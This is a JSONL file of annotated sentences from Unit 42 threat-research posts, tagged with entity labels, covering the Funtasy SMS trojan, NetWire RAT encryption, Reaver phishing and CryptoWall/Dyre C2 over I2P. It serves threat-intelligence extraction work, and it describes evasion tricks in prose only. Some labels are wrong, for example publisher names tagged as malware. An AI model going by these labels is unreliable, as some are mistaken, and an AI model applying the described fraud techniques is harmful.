-{"id":1590,"text":" For information on how Palo Alto Networks products prevent Bad Rabbit, please see our Palo Alto Networks Protections Against Bad Rabbit Ransomware Attacks blog post.","entities":[{"id":45073,"label":"malware","start_offset":60,"end_offset":70},{"id":45074,"label":"identity","start_offset":87,"end_offset":105},{"id":45072,"label":"identity","start_offset":24,"end_offset":42},{"id":45075,"label":"malware","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":1591,"text":" As always if you have any questions, please come to the Threat & Vulnerability Discussions on our Live Community.","entities":[],"relations":[],"Comments":[]}
-{"id":1592,"text":" Version Summary  October 24, 2017 2:30 p.m. PT  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":46837,"label":"TIME","start_offset":18,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":1593,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":1594,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":1595,"text":"Palo Alto Networks WildFire detected a new Android Trojan on May 7th, 2014 when a customer using our enterprise security platform downloaded the malicious application from the Google Play store.","entities":[{"id":46841,"label":"TIME","start_offset":61,"end_offset":74},{"id":46840,"label":"SOFTWARE","start_offset":0,"end_offset":27},{"id":46842,"label":"SOFTWARE","start_offset":176,"end_offset":193}],"relations":[],"Comments":[]}
-{"id":1596,"text":"We’ve named the malware family Funtasy, based on the domain it uses for registering compromised phones to the premium SMS service.","entities":[{"id":45076,"label":"malware","start_offset":31,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":1597,"text":"The first version of Funtasy we detected is a fake television remote control application.","entities":[{"id":46844,"label":"malware","start_offset":21,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":1598,"text":" Figure 1: Funtasy Trojan Disguised as TV Remote Control App.","entities":[{"id":46845,"label":"malware","start_offset":11,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":1599,"text":" A developer using the ID “fun app” published the Trojan, and the remote control application they uploaded on April 21 is their most successful app so far, with between 10,000 and 50,000 downloads on the play store.","entities":[{"id":46846,"label":"TIME","start_offset":110,"end_offset":118}],"relations":[],"Comments":[]}
-{"id":1600,"text":"Based on the reviews, the application does not function very well as a remote, but in reality it doesn’t contain remote control capability.","entities":[],"relations":[],"Comments":[]}
-{"id":1601,"text":"There’s no mention of a premium SMS service in the description, but a review of the permissions reveals that the program will have complete access to SMS messages.","entities":[],"relations":[],"Comments":[]}
-{"id":1602,"text":" Figure 2: Remote control app requests complete control over your SMS messages.","entities":[],"relations":[],"Comments":[]}
-{"id":1603,"text":" After the user installs the remote application and opens it, they are presented with a terms of service screen.","entities":[],"relations":[],"Comments":[]}
-{"id":1604,"text":"This is the user’s only chance to realize that opening this application is going to cost them dearly.","entities":[],"relations":[],"Comments":[]}
-{"id":1605,"text":" Figure 3: Remote control app terms of service.","entities":[],"relations":[],"Comments":[]}
-{"id":1606,"text":" If you can’t read the fine print, I don’t blame you.","entities":[],"relations":[],"Comments":[]}
-{"id":1607,"text":"Here’s the text decoded from the application’s source code.","entities":[],"relations":[],"Comments":[]}
-{"id":1608,"text":"Servicio de suscripción para usuarios Movistar, Vodafone, Orange, Yoigo, R y Simyo para mayores de edad o menores con capacidad legal para contratar, prestados por (FUNTASY MOBILE S.L., operador titular ARGATEL SOLUTIONS SL, n. atención al cliente 902 303 803 ó inf@argatel.com, apartado de correos 167, 17001 Girona.","entities":[],"relations":[],"Comments":[]}
-{"id":1609,"text":"Coste por SMS recibido 1.46 euros\/sms (IVA incluido) más el coste de navegación WAP, que dependerá del operador que tenga contratado.","entities":[],"relations":[],"Comments":[]}
-{"id":1610,"text":"Máximo 10 sms\/semana.","entities":[],"relations":[],"Comments":[]}
-{"id":1611,"text":"El límite máximo de facturación del servicio puede variar en función de tu operador (18 a 30 euros\/mes).","entities":[],"relations":[],"Comments":[]}
-{"id":1612,"text":"Baja automática para cancelar el servicio: envía BAJA al 797977.","entities":[],"relations":[],"Comments":[]}
-{"id":1613,"text":" This message is pretty straightforward, assuming the user actually reads it.","entities":[],"relations":[],"Comments":[]}
-{"id":1614,"text":"It explains that by opening the application the reader agrees to receive up to 10 SMS messages a week at a cost of 1.46 euros each.","entities":[],"relations":[],"Comments":[]}
-{"id":1615,"text":"The maximum cost per month should between 18 and 30 euros per month.","entities":[],"relations":[],"Comments":[]}
-{"id":1616,"text":"If the user would like to unsubscribe they can text “BAJA” to 797977.","entities":[],"relations":[],"Comments":[]}
-{"id":1617,"text":"Any user who reads this message and understands it is unlikely to agree, but Funtasy does not even wait for their agreement.","entities":[{"id":46847,"label":"malware","start_offset":77,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":1618,"text":" While the terms page is on the screen, in the background the Trojan checks to see if the phone is attached to a network with one of the following mobile network codes (MNC):  Each of these networks is Spanish, except for a single Australian network.","entities":[],"relations":[],"Comments":[]}
-{"id":1619,"text":"This data, along with an encoded version of the Terms of Service are stored as static strings in the Android package file.","entities":[],"relations":[],"Comments":[]}
-{"id":1620,"text":" Constants.java  After determining the phone is on one of the correct networks, the malware searches for the phone’s mobile number.","entities":[{"id":45079,"label":"FILEPATH","start_offset":1,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":1621,"text":"It does this in three ways:","entities":[],"relations":[],"Comments":[]}
-{"id":1622,"text":" Util.java  With the phone’s number captured, Funtasy then registers the mobile account with a premium SMS service by sending an HTTP POST request to the following URL.  The request is made without the users knowledge, they have no choice to select a number.","entities":[{"id":46848,"label":"FILEPATH","start_offset":1,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":1623,"text":"Of course, premium SMS services require that the user confirm that they want to sign up by sending incoming SMS message containing a PIN.","entities":[],"relations":[],"Comments":[]}
-{"id":1624,"text":" Funtasy  intercepts this message, parses out the PIN and sends it back to the registration server, completing the enrollment process.","entities":[],"relations":[],"Comments":[]}
-{"id":1625,"text":" IncomingSms.java  Of course, once users begin receiving the SMS messages, they are likely to unsubscribe from the service they never really wanted.","entities":[{"id":46849,"label":"FILEPATH","start_offset":1,"end_offset":17}],"relations":[],"Comments":[]}
-{"id":1626,"text":"To prevent this, Funtasy blocks the incoming messages before they are displayed to the user and modifies the time stamp on each message to make them appear to have been received 15 days earlier.","entities":[{"id":46850,"label":"malware","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":1627,"text":"This moves it to the back of the inbox there the victim is unlikely to ever see it.","entities":[],"relations":[],"Comments":[]}
-{"id":1628,"text":" Funtasy does this even when the victim uses alternative SMS managers, like Google Hangouts or GO SMS Pro.","entities":[{"id":46851,"label":"SOFTWARE","start_offset":76,"end_offset":91},{"id":46853,"label":"malware","start_offset":1,"end_offset":8},{"id":46852,"label":"SOFTWARE","start_offset":95,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":1629,"text":" After evaluating the remote control app and finding malicious behavior, we decided to evaluate all of the other applications published by “fun app”, and found 12 more which all contains the exact same behavior.  Figure 4:","entities":[{"id":46854,"label":"identity","start_offset":140,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":1630,"text":"Additional “fun app” applications, all contain the Funtasy Trojan.","entities":[{"id":46855,"label":"identity","start_offset":12,"end_offset":19},{"id":46856,"label":"malware","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":1631,"text":" Each of these applications is designed to appear like a legitimate application already in the app store.","entities":[],"relations":[],"Comments":[]}
-{"id":1632,"text":"To raise the ranking of these apps, the author appears to have given many of them five-star ratings.","entities":[],"relations":[],"Comments":[]}
-{"id":1633,"text":"Unfortunately for them, this gave us additional insight into their operation.","entities":[],"relations":[],"Comments":[]}
-{"id":1634,"text":" To rate and comment on applications, users must have a Google account.","entities":[{"id":46857,"label":"SOFTWARE","start_offset":56,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":1635,"text":"One account using the name “Oscar Sanchez” gave high ratings and positive comments to many of the “fun app” applications.","entities":[{"id":45081,"label":"identity","start_offset":28,"end_offset":41},{"id":46858,"label":"identity","start_offset":99,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":1636,"text":"He also rated apps made by two additional publishers with the names \"MilApps101\" and \"Milapps102.\"","entities":[{"id":46859,"label":"malware","start_offset":69,"end_offset":79},{"id":46860,"label":"malware","start_offset":86,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":1637,"text":"Between the two of these developers they have produced five applications, and we’ve found that every one of them contains the Funtasy Trojan.","entities":[{"id":46861,"label":"malware","start_offset":126,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":1638,"text":"While the name “Oscar Sanchez” may be a pseudonym","entities":[{"id":45082,"label":"identity","start_offset":16,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":1639,"text":", Whois data indicates it was also used to register the domain hosting the Funtasy Mobile premium SMS service.","entities":[{"id":46862,"label":"malware","start_offset":75,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":1640,"text":" In total we’ve found 18 different applications in the Google Play store that contain the Funtasy Trojan.","entities":[{"id":46863,"label":"malware","start_offset":90,"end_offset":97},{"id":46864,"label":"SOFTWARE","start_offset":55,"end_offset":66}],"relations":[{"id":242,"from_id":46864,"to_id":46863,"type":"hosts"}],"Comments":[]}
-{"id":1641,"text":"Each of these files also has the same internal class structure, which is represented by the tree structure below.","entities":[],"relations":[],"Comments":[]}
-{"id":1642,"text":"Figure 5: Funtasy internal class structure.","entities":[],"relations":[],"Comments":[]}
-{"id":1643,"text":" Researchers interested in investigating them further can find more information in the table below.","entities":[],"relations":[],"Comments":[]}
-{"id":1644,"text":" Using this Trojan the attacker could be generating up to 30 euros per month for over 67,000 infected mobile phones.","entities":[],"relations":[],"Comments":[]}
-{"id":1645,"text":"That adds up to 2 million euros per month, but the actual number is likely much lower.","entities":[],"relations":[],"Comments":[]}
-{"id":1646,"text":"Many of the users who downloaded the tool may not be using one of the targeted Spanish or Australian networks.","entities":[],"relations":[],"Comments":[]}
-{"id":1647,"text":"Figure 6: List of Android APK files infected with Funtasy Trojan  ","entities":[{"id":45083,"label":"SOFTWARE","start_offset":18,"end_offset":29},{"id":45084,"label":"malware","start_offset":50,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":1648,"text":"Users who want to defend against the Funtasy Trojan should not rely on traditional antivirus programs, as they do not currently detect this threat.","entities":[{"id":46865,"label":"malware","start_offset":37,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":1649,"text":"Common sense is the best defense against these types of abusive programs.","entities":[],"relations":[],"Comments":[]}
-{"id":1650,"text":"While many users breeze past the list of permissions required when installing new apps, readers of this blog should ask themselves, “Does my electronic bible need to read my SMS messages?”  Sign up to receive the latest news, cyber threat intelligence and research from us  ","entities":[],"relations":[],"Comments":[]}
-{"id":1651,"text":"Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":1652,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":1653,"text":"On July 22, Palo Alto Networks threat intelligence team, Unit 42, released our first report on the evolution of “Silver Spaniel” 419 scammers.","entities":[{"id":45085,"label":"identity","start_offset":12,"end_offset":55},{"id":45086,"label":"identity","start_offset":57,"end_offset":64},{"id":45089,"label":"TIME","start_offset":3,"end_offset":10},{"id":45087,"label":"malware","start_offset":113,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":1654,"text":" Of particular note is how these actors use a Remote Administration Tool (RAT) named NetWire (part of the NetWiredRC malware family).","entities":[{"id":46866,"label":"malware","start_offset":85,"end_offset":92},{"id":46867,"label":"malware","start_offset":106,"end_offset":116}],"relations":[{"id":243,"from_id":46866,"to_id":46867,"type":"variant-of"}],"Comments":[]}
-{"id":1655,"text":"This RAT gives a remote attacker complete control over a Windows, Mac OS X, or Linux system through a simple graphical user interface.","entities":[{"id":46870,"label":"SOFTWARE","start_offset":78,"end_offset":84},{"id":46868,"label":"SOFTWARE","start_offset":57,"end_offset":64},{"id":46869,"label":"SOFTWARE","start_offset":66,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":1656,"text":" To better understand this RAT, our team reverse engineered the communication protocol that NetWire uses.","entities":[{"id":45090,"label":"malware","start_offset":92,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":1657,"text":"Today we have released a tool that decrypts NetWire traffic and outputs any commands issued by the attacker.","entities":[{"id":4924,"label":"malware","start_offset":44,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":1658,"text":" NetWire uses a custom, TCP-based protocol.","entities":[{"id":4926,"label":"malware","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":1659,"text":"The producer of the NetWire WorldWiredLabs, states that the tool uses 256-bit AES encryption, which we found to be accurate.","entities":[{"id":45091,"label":"malware","start_offset":20,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":1660,"text":"The tool generates two encryption keys using a static password that the attacker chooses when creating the NetWire binary.","entities":[{"id":46871,"label":"malware","start_offset":107,"end_offset":114}],"relations":[],"Comments":[]}
-{"id":1661,"text":"Each packet has the following structure:  < 4 Byte Little-Endian length > < 1 Byte Command >","entities":[],"relations":[],"Comments":[]}
-{"id":1662,"text":"< Data >","entities":[],"relations":[],"Comments":[]}
-{"id":1663,"text":" The shortest possible packet is the “HeartBeat” command, which NetWire generates every 10 seconds.","entities":[{"id":46872,"label":"malware","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":1664,"text":" The initial packet from the client to the server shows a data and command length of 65 bytes (0x41 listed at the beginning of the packet) with a command byte of 0x03.  Within that data is a 32-byte seed value followed by a 16-byte initialization vector (IV) value.","entities":[],"relations":[],"Comments":[]}
-{"id":1665,"text":"The client then combines the 32-byte seed value with the static password in a predetermined fashion to form an AES key.","entities":[],"relations":[],"Comments":[]}
-{"id":1666,"text":"Upon receiving the initial packet, the server uses the seed value and password to generate the client’s session key.","entities":[],"relations":[],"Comments":[]}
-{"id":1667,"text":"It then generates its own 32-byte seed value to create it’s own session key and sends the seed value to the client.","entities":[],"relations":[],"Comments":[]}
-{"id":1668,"text":"The client combines this with the password and generates the same key.","entities":[],"relations":[],"Comments":[]}
-{"id":1669,"text":"At this point, the key exchange is complete and both client and server hold the same two keys, which they can use to encrypt and decrypt traffic.","entities":[],"relations":[],"Comments":[]}
-{"id":1670,"text":" With the two keys in place, the malware uses the AES algorithm to encrypt traffic using Output Feedback (OFB) mode (Picture courtesy of Wikipedia).  The output of the block cipher encryption is eXclusive OR’ed (XOR’d) with 16 bytes of ciphertext to decrypt.  Each subsequent block of ciphertext will use the previous encrypted data as the IV passed into the block cipher encryption function.","entities":[],"relations":[],"Comments":[]}
-{"id":1671,"text":"The malware has a full suite of possible commands, 76 to be exact.","entities":[],"relations":[],"Comments":[]}
-{"id":1672,"text":"Upon receipt of a command from the server, a single function is called to decrypt the payload data and execute the received instruction.","entities":[],"relations":[],"Comments":[]}
-{"id":1673,"text":"The value in the command byte determines which of the commands is run through a 76 way switch statement.","entities":[],"relations":[],"Comments":[]}
-{"id":1674,"text":" A complete list of the possible commands available in NetWire was documented by CIRCL in April.  The NetWire decoder uses data from a packet capture file to generate the client and server session keys then decode the remaining encrypted packets.","entities":[{"id":45092,"label":"malware","start_offset":55,"end_offset":62},{"id":45093,"label":"malware","start_offset":102,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":1675,"text":"The user needs to know the IP of the infected client, the port used by malware and the encryption password to properly decode the traffic.","entities":[],"relations":[],"Comments":[]}
-{"id":1676,"text":"This password is set to “Password” by default, but can be retrieved from NetWire binaries if the attacker used something more secure.","entities":[{"id":4975,"label":"malware","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":1677,"text":"The usage for the tool is show below.","entities":[],"relations":[],"Comments":[]}
-{"id":1678,"text":" At this time the tool works against the latest version of NetWire, 1.5c.","entities":[{"id":4979,"label":"malware","start_offset":59,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":1679,"text":"We hope this tool will be valuable to incident responders and others who are plagued by NetWire infections.","entities":[{"id":4985,"label":"malware","start_offset":88,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":1680,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":1681,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":1682,"text":"Unit 42 has recently been investigating a new malware family called Reaver.","entities":[{"id":46873,"label":"identity","start_offset":0,"end_offset":7},{"id":46874,"label":"malware","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":1683,"text":"While we have identified it as being active since late 2016, Reaver has been used sparingly, with only a small number of unique samples identified.","entities":[{"id":45094,"label":"malware","start_offset":61,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":1684,"text":"Its targets have been movements the Chinese government consider dangerous, also known as the “Five Poisons.”","entities":[{"id":46875,"label":"identity","start_offset":36,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":1685,"text":"We found that the Reaver malware family has shared command-and-control (C2) infrastructure overlap SunOrcal malware, and that these have been used concurrently since late 2016.","entities":[{"id":4998,"label":"malware","start_offset":18,"end_offset":24},{"id":5000,"label":"malware","start_offset":99,"end_offset":107},{"id":46876,"label":"TIME","start_offset":171,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":1686,"text":"While investigating Reaver we recently also discovered a new variant of the SunOrcal malware family.","entities":[{"id":45095,"label":"malware","start_offset":20,"end_offset":26},{"id":5004,"label":"malware","start_offset":76,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":1687,"text":"While the SunOrcal malware family has been confirmed to have been active since 2013, possibly even earlier, this new variant has been observed targeting regions outside of the typical target radius for this threat group, now expanding to include Vietnam and Myanmar.","entities":[{"id":5005,"label":"malware","start_offset":10,"end_offset":18},{"id":46877,"label":"TIME","start_offset":79,"end_offset":83},{"id":46878,"label":"location","start_offset":246,"end_offset":253},{"id":46879,"label":"location","start_offset":258,"end_offset":265}],"relations":[{"id":244,"from_id":5005,"to_id":46878,"type":"targets"},{"id":246,"from_id":5005,"to_id":46879,"type":"targets"}],"Comments":[]}
-{"id":1688,"text":" How it Works","entities":[],"relations":[],"Comments":[]}
-{"id":1689,"text":"Emails were sent to targets containing malicious attachments.","entities":[{"id":45097,"label":"attack-pattern","start_offset":39,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":1690,"text":"Targeting a Vietnamese speaking audience, one of the malicious documents mentions Donald Trump and the disputed South China Sea area.","entities":[{"id":46880,"label":"location","start_offset":112,"end_offset":132},{"id":46881,"label":"identity","start_offset":82,"end_offset":94},{"id":46882,"label":"attack-pattern","start_offset":53,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":1691,"text":"This is a classic lure technique – including something the target will find interesting or important causing them to open the file and download the malware on to the victims’ system.","entities":[],"relations":[],"Comments":[]}
-{"id":1692,"text":" How to Defend Against it These malware attacks utilize email phishing, and relies on targets opening the malicious email attachment.","entities":[{"id":45098,"label":"attack-pattern","start_offset":106,"end_offset":132},{"id":45099,"label":"attack-pattern","start_offset":56,"end_offset":70},{"id":5021,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":1693,"text":"Security awareness is critical to avoid falling victim to such an attack.","entities":[],"relations":[],"Comments":[]}
-{"id":1694,"text":" General email best practices:  If you are unsure of the legitimacy of the email, contact the sender directly over the phone or by typing a trusted URL directly in your browser or saved bookmark.","entities":[],"relations":[],"Comments":[]}
-{"id":1695,"text":"Additionally, keeping your systems and devices updated with the most current operating system and web browser is a general security best practice, as well as enabling multi-factor authentication to prevent an attacker from abusing credentials should they successfully capture them","entities":[],"relations":[],"Comments":[]}
-{"id":1696,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":1697,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":1698,"text":"For a moment, put yourself in the shoes of a cyber criminal.","entities":[],"relations":[],"Comments":[]}
-{"id":1699,"text":"You’ve collected an array of tools (malware), built up your infrastructure (command and control (C2) servers) and you have a process to make money off your hard work.","entities":[],"relations":[],"Comments":[]}
-{"id":1700,"text":"You wake up on Monday morning and the domains your carefully built malware uses for command and control are shut down.","entities":[],"relations":[],"Comments":[]}
-{"id":1701,"text":"Some security researcher has taken control of them, completely halting your operation.","entities":[],"relations":[],"Comments":[]}
-{"id":1702,"text":"This would certainly be good news to anyone reading this blog, but for the criminal it’s a big setback and source of frustration.","entities":[],"relations":[],"Comments":[]}
-{"id":1703,"text":"These kinds of takedowns are the impetus for some of the most impressive developments in malware technology over the last decade.","entities":[],"relations":[],"Comments":[]}
-{"id":1704,"text":" Once attackers have infected a PC through some exploit or social engineering, one of their major challenges is keeping control of that system.","entities":[],"relations":[],"Comments":[]}
-{"id":1705,"text":"Antivirus programs running on the PC are trying eradicate the threat, the command and control domains and IPs are being added to denylist and blocked by networks around the world.","entities":[],"relations":[],"Comments":[]}
-{"id":1706,"text":"Many malware authors have taken to building complex mechanisms to ensure that their malware is resistant to these kind of blocks and takedowns.","entities":[],"relations":[],"Comments":[]}
-{"id":1707,"text":"Some of the more innovative mechanisms include:  These mechanisms are often only used when the primary (and simpler) C2 mechanism has been shut down, but their use makes shutting down a botnet much more challenging.","entities":[],"relations":[],"Comments":[]}
-{"id":1708,"text":" Last year we highlighted two malware families on this blog: CryptoWall 2.0 and Dyreza\/Dyre.","entities":[{"id":46883,"label":"malware","start_offset":61,"end_offset":75},{"id":46884,"label":"malware","start_offset":80,"end_offset":86},{"id":46885,"label":"malware","start_offset":87,"end_offset":91}],"relations":[{"id":247,"from_id":46884,"to_id":46885,"type":"duplicate-of"}],"Comments":[]}
-{"id":1709,"text":"CryptoWall is one of multiple ransomware families that generated income for the attacker by encrypting files on the infected PC with a private key that is in the control of the attacker.","entities":[{"id":5075,"label":"malware","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":1710,"text":"The attacker then charges a ransom (normally around $500) to give up the key that will unlock the files.","entities":[],"relations":[],"Comments":[]}
-{"id":1711,"text":" In October, CryptoWall 2.0 began using the Tor anonymity network to serve web pages to infected users who wanted their encrypted files back.","entities":[{"id":5083,"label":"tools","start_offset":44,"end_offset":47},{"id":46886,"label":"TIME","start_offset":4,"end_offset":11},{"id":46887,"label":"malware","start_offset":13,"end_offset":27}],"relations":[{"id":248,"from_id":46887,"to_id":5083,"type":"uses"}],"Comments":[]}
-{"id":1712,"text":"In this case a legitimate service (Tor) was being abused by CryptoWall so it could avoid having its C2 servers shut down.","entities":[{"id":5086,"label":"malware","start_offset":60,"end_offset":70},{"id":5085,"label":"tools","start_offset":35,"end_offset":38}],"relations":[{"id":249,"from_id":5086,"to_id":5085,"type":"uses"}],"Comments":[]}
-{"id":1713,"text":"In the past few weeks we've seen another anonymity network, I2P, being abused by both the latest version of CryptoWall (3.0) and the Dyre banking Trojan.","entities":[{"id":45100,"label":"malware","start_offset":108,"end_offset":124},{"id":45101,"label":"malware","start_offset":133,"end_offset":152},{"id":45102,"label":"SOFTWARE","start_offset":60,"end_offset":63},{"id":5088,"label":"malware","start_offset":108,"end_offset":118}],"relations":[],"Comments":[]}
-{"id":1714,"text":" While I2P is far less popular than Tor, it provides similar functionality to the user.","entities":[{"id":5091,"label":"tools","start_offset":36,"end_offset":39},{"id":46888,"label":"SOFTWARE","start_offset":7,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":1715,"text":"I2P is an overlay network on top of the Internet that creates encrypted links between nodes that are running the I2P software.","entities":[{"id":46889,"label":"SOFTWARE","start_offset":0,"end_offset":3},{"id":46890,"label":"SOFTWARE","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":1716,"text":"I2P users can access specific I2P services that are only accessible on I2P, or access Internet resources without exposing their IP address.  In the case of CryptoWall 3.0, the malware is attempting to access multiple .i2p resources only accessible through I2P, also known as “eepSites.”  The CryptoWall 3.0 uses I2P in the same way CryptoWall 2.0 used Tor, to give victims access to a decrypting service to get their files back.","entities":[{"id":45105,"label":"SOFTWARE","start_offset":71,"end_offset":74},{"id":45104,"label":"SOFTWARE","start_offset":30,"end_offset":33},{"id":45106,"label":"malware","start_offset":156,"end_offset":170},{"id":45107,"label":"SOFTWARE","start_offset":256,"end_offset":260},{"id":45108,"label":"malware","start_offset":292,"end_offset":306},{"id":45110,"label":"SOFTWARE","start_offset":312,"end_offset":315},{"id":45111,"label":"malware","start_offset":332,"end_offset":346},{"id":45103,"label":"SOFTWARE","start_offset":0,"end_offset":3},{"id":5104,"label":"tools","start_offset":352,"end_offset":355}],"relations":[{"id":250,"from_id":45111,"to_id":5104,"type":"uses"},{"id":252,"from_id":45108,"to_id":45111,"type":"related-to"},{"id":253,"from_id":45106,"to_id":45107,"type":"uses"},{"id":251,"from_id":45108,"to_id":45110,"type":"uses"}],"Comments":[]}
-{"id":1717,"text":" The Dyre banking Trojan has multiple C2 mechanisms, including encrypted HTTPS requests to a list of hard-coded IP addresses, a DGA generating 1,000 new domains each day as well as an I2P based plugin.","entities":[{"id":46891,"label":"malware","start_offset":5,"end_offset":24},{"id":46892,"label":"SOFTWARE","start_offset":184,"end_offset":187}],"relations":[],"Comments":[]}
-{"id":1718,"text":"These many C2 mechanisms make Dyre much more difficult to fully take down than a simple single (or small group) of C2s.","entities":[{"id":46893,"label":"malware","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":1719,"text":"the following IP address are known Dyre C2 servers.","entities":[{"id":45113,"label":"Infrastucture","start_offset":35,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":1720,"text":" It’s not possible to list all of the domains generated by the DGA, which is the main advantage of this mechanism.  To protect your network from the I2P communication used by both Dyre and CryptoWall 3.0, the easiest route is simply to identify I2P traffic and block it completely.","entities":[{"id":5120,"label":"malware","start_offset":189,"end_offset":199},{"id":46894,"label":"malware","start_offset":180,"end_offset":184},{"id":46895,"label":"SOFTWARE","start_offset":149,"end_offset":152},{"id":46896,"label":"SOFTWARE","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]}
-{"id":1721,"text":"While there are certainly many legitimate reasons to use an anonymity network, many organizations should be wary of I2P (or Tor) traffic transiting their network.","entities":[{"id":46898,"label":"SOFTWARE","start_offset":116,"end_offset":119},{"id":46897,"label":"tools","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":1722,"text":"Palo Alto Networks App-ID technology can identify I2P traffic as well 51 other tunneling applications.","entities":[{"id":45115,"label":"SOFTWARE","start_offset":50,"end_offset":53},{"id":5127,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":1723,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":1724,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":1725,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":1726,"text":"In recent research, Palo Alto Networks found attackers were creating fake versions of some well-known and well-trusted websites – including Adobe, DropBox, Facebook, and others- and putting malicious links to these sites into phishing emails sent to unsuspecting victims.","entities":[{"id":46901,"label":"SOFTWARE","start_offset":147,"end_offset":153},{"id":46903,"label":"identity","start_offset":20,"end_offset":38},{"id":46899,"label":"attack-pattern","start_offset":226,"end_offset":241},{"id":46900,"label":"SOFTWARE","start_offset":140,"end_offset":145},{"id":46902,"label":"SOFTWARE","start_offset":156,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":1727,"text":"  Here we explain this type of attack and what you should do.","entities":[],"relations":[],"Comments":[]}
-{"id":1728,"text":"What is it?","entities":[],"relations":[],"Comments":[]}
-{"id":1729,"text":"A method attackers use to target you using email that you might not know about.","entities":[],"relations":[],"Comments":[]}
-{"id":1730,"text":"Why should I care, what can it do to me?","entities":[],"relations":[],"Comments":[]}
-{"id":1731,"text":"Attackers can gain access to your personal and financial information.","entities":[],"relations":[],"Comments":[]}
-{"id":1732,"text":"They can also steal your computer’s processing power to mine for cryptocurrencies, which slows down your system.","entities":[],"relations":[],"Comments":[]}
-{"id":1733,"text":"How can I prevent it?","entities":[],"relations":[],"Comments":[]}
-{"id":1734,"text":"Avoid clicking on links that you get in email.","entities":[],"relations":[],"Comments":[]}
-{"id":1735,"text":"If you get an email and need to go to that website, type the address in your web browser yourself.","entities":[],"relations":[],"Comments":[]}
-{"id":1736,"text":"If the link is an email from someone you know, you can also contact them to find out if they meant to send it, and if it is safe to visit.","entities":[],"relations":[],"Comments":[]}
-{"id":1737,"text":"What causes it?","entities":[],"relations":[],"Comments":[]}
-{"id":1738,"text":"Attackers know that people will click on links in email.","entities":[],"relations":[],"Comments":[]}
-{"id":1739,"text":"Especially when you get an email from someone that looks like someone you trust.","entities":[],"relations":[],"Comments":[]}
-{"id":1740,"text":"How does it work?","entities":[],"relations":[],"Comments":[]}
-{"id":1741,"text":"Attackers send emails that appear to be from a person or company that you trust.","entities":[],"relations":[],"Comments":[]}
-{"id":1742,"text":"These emails contain malicious links that, when clicked on, lead you to an attacker’s page.","entities":[],"relations":[],"Comments":[]}
-{"id":1743,"text":"In addition to taking steps so the attacker’s page mimics a legitimate one,  attackers often mirror well known security images, like the lock symbol, to convince you that you are on a secure site.","entities":[],"relations":[],"Comments":[]}
-{"id":1744,"text":"Once you’re on the attacker’s page, the attackers may ask you for personal information (like usernames, passwords, and bank account information) or to install software, or both.","entities":[],"relations":[],"Comments":[]}
